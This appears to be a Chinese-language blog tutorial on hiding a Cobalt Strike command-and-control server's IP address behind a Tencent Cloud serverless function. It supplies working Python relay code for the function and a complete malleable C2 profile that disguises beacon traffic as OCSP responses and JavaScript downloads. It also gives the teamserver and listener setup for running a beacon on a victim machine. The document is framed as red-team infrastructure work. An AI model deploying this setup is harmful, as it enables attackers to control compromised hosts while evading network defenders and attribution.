参考链接
https://mp.weixin.qq.com/s/VcP2O5usGHf7BBzCGQt_6Q
https://blog.zsec.uk/cobalt-strike-profiles/
前言
在红队基础设施建设中,使用云函数可隐藏真实C2的IP地址,当然,这只是其中一种方法,其他方法包括但不限于特征消除、证书修改、CDN、域前置。这些技术会陆续实现。
准备工作
腾讯云注册云函数
新建函数-自定义创建函数
Python模板,python3.6即可,触发方式选择API网关触发
在函数代码中写入如下代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| import json,requests,base64 def main_handler(event, context): C2='http://' path=event['path'] headers=event['headers'] print(event) if event['httpMethod'] == 'GET' : resp=requests.get(C2+path,headers=headers,verify=False) else: resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False) print(resp.headers) print(resp.content)
response={ "isBase64Encoded": True, "statusCode": resp.status_code, "headers": dict(resp.headers), "body": str(base64.b64encode(resp.content))[2:-1] } return response
|
接下来配置API网关
版本选择LATEST,点进去蓝色的链接进行API配置,路径改为根目录
然后下一步,事件函数,版本选择LATEST,一定要勾选响应集成。之后点立即完成就可以了。
发布服务之后在右边可以看到API的HTTP与HTTPS地址,记住这个有用,当然了,在云函数那也可以看(函数服务-触发管理-访问路径)
cobalt strike配置
CS的配置踩大坑。
首先是编写对应的profile,代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| set sample_name "t"; set sleeptime "3000"; set jitter "0"; set maxdns "255"; set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";
http-get {
set uri "/api/x";
client { header "Accept" "*/*"; metadata { base64; prepend "SESSIONID="; header "Cookie"; } }
server { header "Content-Type" "application/ocsp-response"; header "content-transfer-encoding" "binary"; header "Server" "Nodejs"; output { base64; print; } } } http-stager { set uri_x86 "/vue.min.js"; set uri_x64 "/bootstrap-2.min.js"; } http-post { set uri "/api/y"; client { header "Accept" "*/*"; id { base64; prepend "JSESSION="; header "Cookie"; } output { base64; print; } }
server { header "Content-Type" "application/ocsp-response"; header "content-transfer-encoding" "binary"; header "Connection" "keep-alive"; output { base64; print; } } }
|
编写完之后命名为c2.profile,然后用cs目录下的c2lint.sh进行检查,这个东西的作用就是检查编写的profile是否正确。
c2lint.sh ./c2.profile
这样看是没啥问题,然后运行teamserver的时候后面跟上profile就可以了,例如
./teamserver.sh 1.1.1.1 123456 c2.profile
这样就可以把profile作为listener的配置。
启动cs后,添加http listener,HOSTS和STAGER填写如下
都是生成的云函数的地址,注意把前面的HTTP://去掉!!
保存后,生成EXE,上线。
然后在victim主机上查看流量,并没有发现C2的IP地址,140开头的地址不是我的地址。
这样就使用云函数实现了C2真实IP的隐藏,在CS中也可以正常使用命令,证明beacon工作无异常。
-
Article Link
https://polosec.github.io/2021/10/15/CobaltStrike-%E4%BA%91%E5%87%BD%E6%95%B0%E9%9A%90%E8%97%8F%E6%9C%8D%E5%8A%A1%E5%99%A8IP/
-
Copyright Notice: All articles in this blog, unless otherwise stated, are under the CC BY 4.0 CN agreement.Reprint please indicate the source!